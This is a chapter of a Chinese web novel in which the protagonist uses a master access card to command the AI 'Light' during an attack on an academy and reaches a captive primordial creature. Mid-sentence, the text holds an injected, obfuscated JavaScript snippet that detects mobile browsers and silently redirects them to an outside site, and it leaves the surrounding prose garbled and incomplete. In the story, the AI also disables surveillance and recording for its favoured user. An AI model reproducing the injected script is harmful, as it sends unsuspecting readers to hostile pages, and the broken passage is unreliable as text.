他的脚步很快,像是这样就能踏平脑海里不断升起的反复拉扯的纷乱思绪,心脏也在胸腔内激烈地砰砰跳动,震得他耳鼓膜一阵阵发胀。 陆颉知道自己的状态不对劲,但他更确定的是在自己关于未来的计划里,已经是时候真正考虑清楚……到底该如何处理路九观。 他已经舍不得让路九观死了。 * 陆颉在到达舞会现场的那一刻开始后悔。 不知道为什么宴会厅外站了两排学生,有男有女各个打扮得光鲜亮丽,就是手里挥舞着奇怪的小旗子,甚至还拉着大大小小各种型号的横幅。 【路教授我爱你!】 【路教授我想给你生猴子!】 【区区一根,多大我都可以!】 【踩我,路教授!】 简直是不堪入目,净是污言秽语。 陆颉满眼愕然,完全不能理解现在的年轻人脑子里都在想些什么,但路九观却显然习以为常,从从容容在夹道示爱中走进大厅。 “你要早日习惯。”他甚至还反过来宽慰陆颉,“联合学院的学生大多奔放自由,无法无天,早晚有一天你也会经历这些。” 陆颉谨慎地对此表示怀疑:“我觉得是你太招蜂引蝶才惹来的这些。” 看看这家伙今天都穿了什么吧,简直骚包透了,全场都找不出一个比路九观更像开屏孔雀的人类。 虽然路九观确实有肆意散发魅力的资本。 不久之后,放任路九观被爱慕者们包围,自己悄然脱身的陆颉无声无息靠在二层露台,正看到路九观与学院长和几个教授们言谈正欢,一边还风度翩翩地拒绝了不知多少个来自舞池的邀请。 傲慢冷酷的首席执行官和沉稳负责的路教授,两种身份的反差足以让任何情感经历不足的年轻人陷入痴恋。 更不用说这身明显精心打扮过的行头—— 定制西装完美地衬托出路九观本就傲人的身材,在一众学生和教授里可谓鹤立鸡群,肆无忌惮地散发着极具侵略性的雄性气息。当他自上而下俯视过来,冷淡锋利的眉眼间偶尔因为一番还算有见地的话流露出一点点肯定和赞赏的时候,就足以让这些天性慕强的学生倾尽所有付出一腔滚烫爱意。 就算以陆颉挑剔的眼光来看都觉得某人今天格外有魅力——英俊得简直有些犯规。 也难怪之前说出那些更犯规的话的时候,会让自己如此得……无法抗拒。 他在路九观挑眉举杯看来的时候扬了扬下巴,退回露台厚重的帷幔间,透过窗户看向夜空。 此刻,午夜刚过。 “砰!” “砰砰!” 盛大绚丽的烟花忽然绽放,半个天幕都被缤纷的图案占据,全玻璃幕墙的宴会厅穹顶顿时被映出流光溢彩的光影。但紧接着陆颉捕捉到不同寻常的破空声—— 嗖得一声,一枚□□从远处正对宴会厅穹顶,哐啷一声正正砸在高空的防护屏障,轰然炸开! 而这还不算完! 两颗,五颗,十颗,五十颗,上百颗—— 漫天烟花中赫然混入了无数□□甚至是导弹,在同一时间朝宴会厅齐齐袭来! 宴会厅顿时陷入一片哗然! “敌袭——” “有人入侵!” “呜呜呜呜呜呜——” 刺目红光伴随着高频警报划破空气,衣香鬓影的宴会厅霎时变成暗藏杀机的战场,陆颉注意到学院长和大部分教授已经失去踪影,明白此刻学院的各个角落都进入了交火。 而路九观—— 一身正装的男人正站在宴会厅大门外,单手前举掌心向外,配合着这座宴会大厅的防护屏障抵御空中持续不断的袭击。 很多学生在他身后集合起来,一道加入防御的队伍,战斗力不高的学生则聚拢在一起,神情紧张地等待。 没有人注意到仍然停留在二层的陆颉。 也不会有人发现陆颉选择的这个露台,恰巧有一个通往地下密道的入口。 陆颉反身躲入阴影中,在开启密道入口的同时,伸手在不知何时摆在茶几上的托盘底摸出一张黑色通行证。 这就是组织为他创造的机会。 袭击已经开始,路九观被牵制在外,整个联合学院自顾不暇,而通往实验室控制中枢的通行证就在他手边。 陆颉走入向下盘旋的楼梯,指间通行证扫过入口,漆黑通道内忽然传来清丽女声。 “你好,最高权限拥有者陆颉,欢迎回到Light。” “请问有什么可以帮助你?” 陆颉骤然停下脚步。 他看向手中通行证,一时间有些怀疑自己的耳朵。 组织给他的居然是一张能够唤醒异管局人工智能Light的最高权限卡! 但Light怎么会在联合学院内被唤醒? “检测到实时位置更新,已接管联合学院,最高权限拥有者陆颉,请下达指令。” 是因为联合学院和异管局本就一体,所以Light同样拥有联合学院的权限! 而这意味着此时的陆颉—— 几乎拥有了控制整座学院的权力。 在清丽的女声下,陆颉看向黑暗深处,无声勾了勾嘴角。 他说:“我需要进入原初恶种所在的地方。” “好的,现在为您演算路径……” “演算成功,即将为您规划路线。” 脚下地面亮起一条清晰的蓝光指示,顺着曲折的密道一路没入深处,陆颉没有犹豫地向前走,微弱的荧光照亮了他专注至极的眼神。 映出眼底的势在必得。 21. 白魔鬼 “报告防御屏障损耗。” “异能消耗超过百分之三十就轮换,保持体力。” “还有余力的留在这里,其他人不要逞强,回去!” 路九观面色冰冷地注视着被弹道彻底照亮的夜空,知道今夜恐怕是无法善了了。 这样的动静绝不是区区几个杀手能做到的,背后至少有一个成规模的组织在提供帮助。如果是针对陆颉的刺杀,那么专门针对世光科技集团的噬光,崇拜邪神的密教拜神教都有动机,甚至他们可能已经暗中联手。 异能核心稳定地释放力量,他能感应到自己的另一小块异能核心就在身后不远处,这让路九观稍稍放下了心。 他的异能已经覆盖了整座宴会厅,只要在这里陆颉就不会有危险。 但不知为何路九观心底忽然泛起隐隐的不安,总觉得自己忽略了什么。 陆颉是这么一个……会老老实实待在原地不动,等待安排的人吗? “九观。” 一道苍老的嗓音在身后响起,路九观回头,为来者的出现感到惊讶。 “学院长?您怎么……出了什么事?” “Light被启动了,入侵者正在接近地底。”学院长言简意赅地开口,”我来守着这里,你替我去一趟’睡屋’。” ——地底睡屋。 路九观神色变得更加凝重:”入侵者真正的目标是它?它已经醒了?” “它一直都没睡,只是不愿意真正醒来。”学院长的神色有些奇怪,沉默了一会儿才再度开口,”九观,如果它选择醒过来……” 他在路九观微疑的目光中叹息着摇了摇头:”那就拦住入侵者,但不要阻止它离开。” “路教授?您要离开这里吗?” 路九观在临行前登上二楼,想要去露台确定一下陆颉究竟还在不在,却在楼梯口遇上了一个匆匆下楼的学生。 “杨金?” 路九观认出这个学生,感到有些奇怪:”你怎么在这里?” 金发年轻人挠了挠头:”我刚刚轮换下来,想着好像没在楼下的人群里看到陆颉,就打算去楼上找找。” 路九观神情一顿。 “你没找到他?” “楼上没有人,教授。”杨金疑惑地开口,”奇怪,我明明看到陆颉一直在二楼啊?” 隐隐的不安落到实处,路九观拨开杨金三步并作两步往上跑,砰得一声撞开被反锁的门,在看到眼前场景时脸色顿时一变。 空空荡荡的包厢内,面向露台一侧被帷幔挡得结结实实。地上却是一片狼藉,打翻的茶几和碎玻璃混在一起,高脚杯横在沙发扶手边缘,淡金色酒液滴落下来,顺着略微倾斜的地毯流向一边。 明显的,没有任何遮掩的打斗痕迹,大大方方留下的异能波动,光明正大到近乎于挑衅。 路九观的目光落在包厢内唯一完好无损的衣架,那里端端正正挂着风衣和马甲,不久前他亲手给陆颉系上的领带被特意缠绕在衣架顶端,就像是一种无声的嘲讽。 这就是对他的挑衅。 “陆颉!教授!是不是陆颉被抓走了!” 杨金这时候才跑进包厢,只一眼就得出了和路九观一致的结论。 ——有人闯入这里,掳走了陆颉。 “他们走得很匆忙,陆颉不是他们的目标,应该只是不巧被撞上。”路九观语气冰冷地开口,半跪下来摸索着地面,很快发现了机关。 一道幽深黝黑的旋转楼梯出现在两人面前,一路盘旋而下,如同张开巨口的怪兽凝视着他们,等待着他们主动踏入这明晃晃的陷阱。 路九观感应到下方传来微弱的异能波动,知道是那枚陆颉随身带着的吊坠。 他没有对陆颉说谎。他确实不能够控制被剥离出的异能核心碎片,也无法通过吊坠监控陆颉的位置,但异能核心与本体之间存在着一种微妙的感应。 这种感应,为他指出了一个清晰的方向。 直达地底。 “路教授我发现有些不对劲!诶!等等!” 路九观摆了摆手,沉着脸走下楼梯,反手将机关闭合,把忽然一脸诧异开始叫喊的金发年轻人挡在外面。 头顶的亮光在瞬间消失,四周陷入一片漆黑。 他一言不发地走入黑暗。 “路教授你不觉得那些痕迹——诶!诶!” 被留在门外的杨金使劲拍着木地板,却无论如何都拍不出密道,只能泄气地一屁股坐倒。 “那些痕迹都是一个人伪造出来的啊……路教授怎么会看不出来呢?” 金发年轻人喃喃着,满脸困惑:”入侵者为什么要这样做?陆颉他究竟——” 他一边思考着,一边将后脑勺磕在背后的墙面,接着只听轰隆一声巨响,地板蓦地向两侧分开,如同一张大口般将他卷入,猝不及防下他连呼救都来不及,眼睁睁看着头顶上方的空间再度闭合,而身下却是一条垂直向下的管道! “啊啊啊啊啊啊——” 路九观忽然顿住脚步。 漆黑的通道里遥遥传来奇怪的辨不出含义的嘶吼声,他提高警惕,脚步却丝毫不慢地前行,直到前方传来朦胧的火光。 一个道路岔口出现在路九观眼前。 左边一条依旧在黑暗中,右边那条墙壁上已经亮起成排的火把,路九观犹豫片刻,刚想要抬脚往右边走,目光却忽然凝住。 有微弱的火红亮光在左边通道里的黑暗中一闪而逝。 他放轻脚步,无声无息接近,在黑暗中摸索着点燃了火把,跳动的火苗照亮了周围的一小块区域,也让路九观看清了挂在火把架上的东西。 是他送给陆颉的吊坠。 或许是匆忙间挂上,吊坠被卡进火把和墙壁的缝隙间,只露出了一点点,如果不是路九观忽然心生感应,在这伸手不见五指的黑暗中几乎无法被发现。 路九观握着吊坠,脸色却忽然变得难看起来。 他记起了自己所在的这条密道。 这条密道没有被记录在他给陆颉的地图里,因为这里隐藏着联合学院最大的秘密。 右边的通道能够直达睡屋,而左边的通道—— 通往为睡屋中的那个存在准备的新鲜食物圈养地。 一个充斥着恶种的乐园。 * 陆颉非常顺利地进入了地底实验室。 有Light在,即便是没有纳入人工智能管控下的实验室也被强行接管,警卫和实验员在Light伪造的命令下离开了这里,此时此刻整个实验室只有陆颉一人。 畅通无阻。 但也正是Light的存在,陆颉没有让猩红眼球出现。 这张通行证确实让他的潜入轻松了很多,但相对的,他想要动手脚的难度也直线上升。 因为这是组织送来的最高权限卡,一切控制权都在组织手中。换句话说他今晚的一言一行甚至将被监控得更为严格。或许此时此刻不知哪个监控探头已经悄然对准自己,就连微表情也被原原本本实时传回。 陆颉面上不动声色,心底已经提起了十二万分的警惕。 他穿行在实验室的每一个区域搜查,开始觉得这间实验室很奇怪。 上一次来得匆忙,没有仔细翻看过实验记录,这次才发现所谓的实验记录厚厚一沓,除了最开头几张是基础的血液检测样本分析,其余的内容竟然都是……食物偏好调查?睡眠质量统计?食物质量与心情指数的相关性分析?面向快乐养老的视觉满意度提升方案可行性分析? 陆颉:”……” 他木着脸放下实验记录,接着更无力地看到了被贴在每个实验员桌上的便利贴。 【保持仪容整洁,勤修美容技能,提升服务人员整体形象,增强实验体视觉满意度】 “………………” 陆颉无言地离开了这个没救的地方。 他不再浪费时间,走到控制中枢前停下,这里是Light唯一只有通行权却不能进入也无法控制的地方。 这种限制不禁让他回想起在特殊病院的那一晚。 路九观又是怎么调动的Light? 从路九观与Light的对话来看,路九观不但权限极高,而且和这个人工智能的关系似乎很不一般。 他能从当时Light的语气里感受到不属于人工智能应该有的感情。 陆颉摩挲着手中的通行证,忽然生出一个想法。 “Light.” 在踏入控制中枢前,他忽然开口:”我现在拥有你的最高权限吗?” “是的,陆颉。”清冽的女声立刻回应道,”您拥有最高权限。” 最高权限……与组织对这张卡的拥有权,谁的优先级更高? 陆颉沉默不语,正打算放手一搏的时候,忽然听到Light再度开口。 “检测到通行证同时存在两个最高权限拥有者,与核心指令相悖。” “现在进行优先级判定。” “判定:持有者陆颉为唯一最高优先级对象。” “实验室监控已屏蔽,录音已关闭。” “已确认您的一切行动无法被外界观测。” 这个意外之喜来得突然却正是时候,陆颉挑挑眉,直接问道:”那路九观拥有什么权限?” “在特定前提下,路九观同样拥有最高权限。” 特定前提? Light的回答似乎藏着某种深意,陆颉思考片刻,换了一种方式提问:“我的权限也是在特定前提下吗?” “您的优先级为无条件最高。” 冰冷机械的声音说出了让陆颉惊讶的话,接着不等他继续提问,主动进行了解答。 “对于您的疑问,告解如下:” “特定条件,意为仅拥有人工智能Light的最高权限。” 不知是不是他的错觉,这一回响起的女声变得温柔了许多,语气里仿佛带上了某种极其缱绻的依恋。 “而您拥有的是Light的最高权限。” 陆颉一愣。 这两者……有什么差别? 一时间想不明白,也已经得到了想要的答案,他不再耽搁时间,转身独自走入控制中枢。 “控制中枢已进入封闭状态。” Light的声音下,中控大门随之闭合,将陆颉的身形与外界彻底隔绝,从此刻起,不会有任何人知晓他做了什么。 因此他也没有听到同样被隔绝在中控大门之外的低语。 “您是永远的最高权限拥有者,在无数时间与世界里,您拥有最高优先级。” * “嗷——呜——” 陆颉走进门内的同时,控制中枢播放出悠长低沉的鸣叫,他面无表情拨开大门口的超大号傻狗玩偶,走到落地窗前站定。 这是一整面270度弧形的玻璃,能清楚看到底部巨兽的身影。墙面则镶嵌着上百块屏幕,分别呈现出不同方向和不同位置的细节,就连傻狗脚底的长毛都纤毫毕现。 全方位时时刻刻的监控,以及无微不至的照料,如果不是知道傻狗是一只原初恶种,陆颉还真以为这个实验室是什么幼崽救助中心。 “呼——呼噜!呼——” 傻狗呼呼大睡的鼾声被收集起来,有专门的一块区域进行睡眠分析,陆颉看不懂那上面的波形起伏,但他与傻狗之间的感应此刻正前所未有得强,已经能清楚听到傻狗在梦中发出的嘤嘤撒娇。 大概率是个美梦。 陆颉看了会儿四脚朝天扑腾的狗子,没有急于下去,而是走向一台摆在角落里的老旧台式机。 根据他的经验,这种不联网也不用人工智能的实验室,通常最机密的信息都储存在这种电脑里。 ——果然。 在最高权限下,一切秘密都向他敞开,数据库界面飞快地刷新着,不断有从世界各地汇总而来的信息被上传更新,页面顶端有五个标志,分别是世光科技的衔尾蛇、斯通生物的太阳眼、三力能源的不灭火种、联合学院的半枯木和异管局的不朽花。 这是三大集团和联合学院、异管局共用的数据库,陆颉也曾用过很多次,但最高权限下的数据库呈现出完全不一样的界面,不像他曾经使用时只能在指定范围内进行搜索还必须申请和等待审核,现在一切数据都可被随意调用,不受任何限制,也不会留下浏览记录。 冀云中将自己的那张最高权限卡给了他。 这个世界四分之一的权力正被他握在手中。 陆颉在意识到这点时几乎克制不住瞬间升起的冲动,但很快他又冷静下来,开始尝试着在数据库里检索。 他要带走傻狗,组织的任务势必会失败,届时会发生什么还不好说,他需要在还掌握着这张最高权限卡的时候尽可能多得获取信息,为未来做好准备。 陆颉沉吟片刻,同时输入两个关键词。 【救世主】 【邪神祭品】 检索结果在一瞬间跳出,自动打开。 【救世主与邪神祭品在传世书记载中为一体两面,相伴相生,新生还是毁灭只在一念之间。不论成为救世主还是成为邪神祭品,TA都将与邪神建立连接,对恶种有着极高的亲和力,甚至能够影响和操控恶种。】 陆颉眼神一暗。 这种定义……几乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396470|184295||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是明晃晃的要将所谓的救世主架上高台,不论是正是邪,最终都要因为这个世界被献祭。 救世主可不是这样当的。 “红红,你确定从来都没有邪神祭品,是吗?”陆颉伸手挠了挠不知何时从袖口探出脑袋的猩红眼球下巴,”传世书的记载又是怎么回事?” “嘤嘤!”猩红眼球舒服地眯着眼睛哼唧两声,这才开口,“红红也不知道哇主人!传世书不是初始之地流传下来的东西,应该是后来的人类编写的……您看真言之书都没有记录过传世书,这肯定不是什么正经东西……哎呀人类嘛,不就喜欢添油加醋——什么世界终末,和主人有什么关系!哼!” “初始之地?” 又一个没听说过的词。 陆颉手动搜索后在数据库内一无所获,顿时更加困惑:“初始之地是什么?” “初始之地就是我们几个从小长大的地方呀!主人和我们以前在——诶?在哪里?” 猩红眼球从他的袖口攀上前襟,探到陆颉眼前,重叠的无数眼睛快速眨动起来,露出同样的疑惑眼神。 “诶?对哦?初始之地到底是哪里?红红是不是又忘记什么了?” 纠结的猩红眼球把自己拧成了一团麻花,伤心地嘤嘤起来。 “呜呜,红红又想不起来了……红红好没用啊呜呜……主人抱抱呜呜呜呜呜呜……” 陆颉无奈地揉了揉小哭包的脑袋,记下这个地方,准备以后询问其他眷属。 总不至于每一个都失去记忆了吧? 初始之地…… 根据猩红眼球的只言片语,他大概能推测出一些信息,心底也有了计较。 眷属们从小长大的地方,应该就是自己曾经的领地。而传世书既然是人类所写,猩红眼球也证明了其中很多内容与他记忆中截然不同,那想必其中凭空杜撰的地方只会更多。 所谓的救世主和邪神祭品,或许虽不至于是无稽之谈,但也必不可全信。 陆颉退出条目,再次输入新的检索词。 【原初恶种】 数据流飞快滚动,很快跳转出全新的文字。 【邪神眷属,四大原初恶种。】 【它们的苏醒伴随着邪神的出现,其等级为灾厄级,已知的原初恶种具体形态和所处位置如下。】 【第一恶种,控制谱系,猩红眼球。能力:分裂再生;存放地:异管局;苏醒时间预测:无。】 【第二恶种,精神谱系,白魔鬼。能力:梦境投射;存放地:联合学院;苏醒时间预测:无。】 【第三恶种,特质谱系,童。能力:暂不明确,疑似与时间有关;十年前曾出现于北岛市外海域,后失去踪迹。】 【第四恶种,变化谱系,无面者。能力:未知;从未有人亲眼见证过无面者的存在,疑似高度智人化,能够在人类中伪装生存,危险度极高!】 这就是人类对原初恶种的记录…… “人类对我们的了解还行诶,主人!他们竟然知道我和傻狗的能力耶!”猩红眼球停止自闭,凑近屏幕大呼小叫起来,“哇哦,原来傻狗叫白魔鬼呀!我都忘了呢!” “这名字看起来怎么这么威风,和傻狗完全不像嘛。”他嘀嘀咕咕着,扭扭身体啪叽一下贴住陆颉脸颊蹭了蹭,满足地叹了口气,“主人,剩下那两个家伙的消息也有了,嗯……我记得童那个小混蛋,那才是实打实的恶魔……哼!” 陆颉摸了摸猩红眼球光秃秃的后脑勺,心底升起的忌惮在小吉祥物蠢萌蠢萌的声音里稍稍减轻。 “关于无面者你还记得多少?” 小眼球骄傲地挺挺触手:“什么都不记得了!” “……” 不出意料,所以也不觉得可惜,陆颉弹了弹猩红眼球脑门,发现真言之书丝毫动静也没有,心底的忌惮终于彻底消散。 这个数据库看起来对四大原初恶种都有研究和追踪,但实际上的信息量很少,还远远达不到解锁真言之书新页面的要求,甚至都不如听到狗子呼唤时的反应更大。 反倒是为他寻找其余两个眷属提供了线索。 陆颉记下眼前的信息,尤其是关于童最后出没的地点北岛市,接着点击唯一高亮提示的傻狗名字,发现页面转入了一份报告。 这份报告寥寥数行,写得非常简洁,看着十分敷衍。 【白恶魔十年前进入睡屋,始终维持沉睡状态,能够自主进食,喜□□神谱系恶种,对人类没有攻击性。】 【沉睡状态下检测到持续异常声波,人耳无法辨别,无法解读,含义不明。】 【声波片段-点击播放】 陆颉轻点音频,悠长低沉的鸣叫顿时回荡在控制中枢,与在他心底不断响起的呼唤声逐渐同频。 “呜……嗷呜——呜!” “呜……嗷呜——呜——” “呜——嗷呜——呜——!” 脚下忽然传来剧烈震动,正在沉睡的雪白巨兽直起上半身,扬头朝陆颉的方向长啸起来,不断重复的鸣叫声在封闭空间内不断回荡,形成重重叠叠的回音。 “呜——嗷呜——呜——!” 那一瞬间,仿佛有无数记忆碎片从时间深处翻涌而上,浮出意识的海面拼凑在一起,陆颉失神般看向窗外始终闭着眼睛,但却一直一直朝向自己发出呼唤的巨兽,下意识喃喃开口。 “小白……” “呜!呜——嗷——呜!” “嗷呜!!!!” 陆颉一个趔趄,只觉得整个地底实验室都在地动山摇,窗外的巨兽已经彻底直起身体,摇晃着脑袋朝他的方向急速冲来—— “嗷!!!!!” “砰!” 陆颉击碎玻璃,整面弧形窗霎时碎裂成无数片,他看向眼睛仍未睁开,似乎仍在沉睡的巨兽,眼底漾起温柔笑意。 “小白。” 我来接你回家。 “轰!” 然而就在他踏出一步,即将跳下窗口的前一刻,一柄重剑从天而降,悍然斩在身前,陆颉反应极快地后退,抬头看见来人的刹那眼底飞快划过一抹诧异,开始觉得棘手起来。 眼下的情形是在所有预演中最坏的一种。 他在宴会厅包厢内的布置、故意留在密道里的吊坠都没有发挥作用。 或者说,无论如何算计和筹谋,眼前这个人总是能准确且恰好地找过来,就像是闻着味儿的猎犬,死死咬住他不放。 “……噬光。” 一身正装的执行官从头顶上方一跃而下,扬手召回重剑,步步逼近,在看清他身上穿着的衣服时语气骤然变得阴冷。 “你把陆颉带去了哪里?”